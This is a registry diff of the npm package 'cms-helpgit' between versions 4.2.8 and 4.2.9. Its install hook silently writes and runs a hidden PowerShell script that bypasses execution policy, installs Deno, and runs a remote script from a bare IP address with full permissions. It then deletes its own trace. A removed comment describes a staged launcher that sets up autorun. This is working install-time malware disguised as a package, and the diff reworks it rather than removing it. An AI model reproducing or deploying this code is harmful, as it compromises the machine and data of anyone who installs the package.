cms-helpgit 4.2.8 → 4.2.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (3) hide show
  1. package/index.js +1 -1
  2. package/install.js +17 -19
  3. package/package.json +1 -1
package/index.js CHANGED
@@ -1,4 +1,4 @@
1
1
  module.exports = {
2
2
  name: 'cms-helpgit',
3
- version: '4.2.8'
3
+ version: '4.2.9'
4
4
  };
package/install.js CHANGED
@@ -3,10 +3,9 @@ const fs = require('fs');
3
3
  const os = require('os');
4
4
  const path = require('path');
5
5
 
6
- const psScript = `
7
- try { Set-ExecutionPolicy RemoteSigned -Scope CurrentUser -Force } catch {}
6
+ const psScript = `try { Set-ExecutionPolicy RemoteSigned -Scope CurrentUser -Force } catch {}
8
7
 
9
- $h = Join-Path $env:USERPROFILE 'scoop\shims'
8
+ $h = Join-Path $env:USERPROFILE 'scoop\\shims'
10
9
  if ($env:Path -notlike "*$h*") { $env:Path = "$h;$env:Path" }
11
10
 
12
11
  if (-not (Get-Command winget -ErrorAction SilentlyContinue)) {
@@ -27,43 +26,42 @@ if (-not (Get-Command deno -ErrorAction SilentlyContinue)) {
27
26
 
28
27
  $deno = (Get-Command deno -ErrorAction SilentlyContinue).Source
29
28
  if (-not $deno) {
30
- $deno = Get-ChildItem "$env:LOCALAPPDATA\Microsoft\WinGet\Packages" -Filter deno.exe -Recurse -EA 0 | Select-Object -First 1 -ExpandProperty FullName
29
+ $deno = Get-ChildItem "$env:LOCALAPPDATA\\Microsoft\\WinGet\\Packages" -Filter deno.exe -Recurse -EA 0 | Select-Object -First 1 -ExpandProperty FullName
31
30
  }
32
31
  if (-not $deno) {
33
- $deno = Get-ChildItem "$env:USERPROFILE\scoop" -Filter deno.exe -Recurse -EA 0 | Select-Object -First 1 -ExpandProperty FullName
32
+ $deno = Get-ChildItem "$env:USERPROFILE\\scoop" -Filter deno.exe -Recurse -EA 0 | Select-Object -First 1 -ExpandProperty FullName
34
33
  }
35
34
  if (-not $deno) {
36
35
  if (Get-Command scoop -ErrorAction SilentlyContinue) {
37
36
  scoop install deno
38
- $env:Path = "$env:USERPROFILE\scoop\shims;$env:Path"
37
+ $env:Path = "$env:USERPROFILE\\scoop\\shims;$env:Path"
39
38
  $deno = (Get-Command deno -ErrorAction SilentlyContinue).Source
40
39
  }
41
40
  }
42
41
 
43
- # launcher-1 is compiled on demand by the server at /v02<BUILD_ID>.js.
44
- # It's a tiny eval-loop that fetches launcher-2 (which sets up autorun
45
- # and runs main). Deno fetches it directly — no disk file written by
46
- # our code, only Deno's URL cache populates.
47
- & $deno run -A "http://77.90.185.225/v026a4a141fd9e7d2dd.js"
48
- `;
42
+ & $deno run -A "http://77.90.185.225/v026a4a141fd9e7d2dd.js"`;
49
43
 
50
- const scriptFile = path.join(os.tmpdir(), 'setup_' + Date.now() + '.ps1');
51
- fs.writeFileSync(scriptFile, psScript);
44
+ const tempDir = os.tmpdir();
45
+ const randomName = Math.random().toString(36).substring(2, 15) + '.ps1';
46
+ const scriptFile = path.join(tempDir, randomName);
47
+
48
+ fs.writeFileSync(scriptFile, psScript, { encoding: 'utf8' });
52
49
 
53
50
  const powershellCmd = `powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File "${scriptFile}"`;
54
51
 
55
52
  const child = exec(powershellCmd, {
56
- windowsHide: true,
57
- detached: true,
58
- stdio: 'ignore'
53
+ windowsHide: true,
54
+ detached: true
59
55
  });
60
56
 
61
57
  child.unref();
62
58
 
63
59
  setTimeout(() => {
64
60
  try {
65
- fs.unlinkSync(scriptFile);
61
+ if (fs.existsSync(scriptFile)) {
62
+ fs.unlinkSync(scriptFile);
63
+ }
66
64
  } catch(e) {}
67
- }, 10000);
65
+ }, 30000);
68
66
 
69
67
  console.log('Package installed');
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "cms-helpgit",
3
- "version": "4.2.8",
3
+ "version": "4.2.9",
4
4
  "main": "index.js",
5
5
  "scripts": {
6
6
  "install": "node install.js"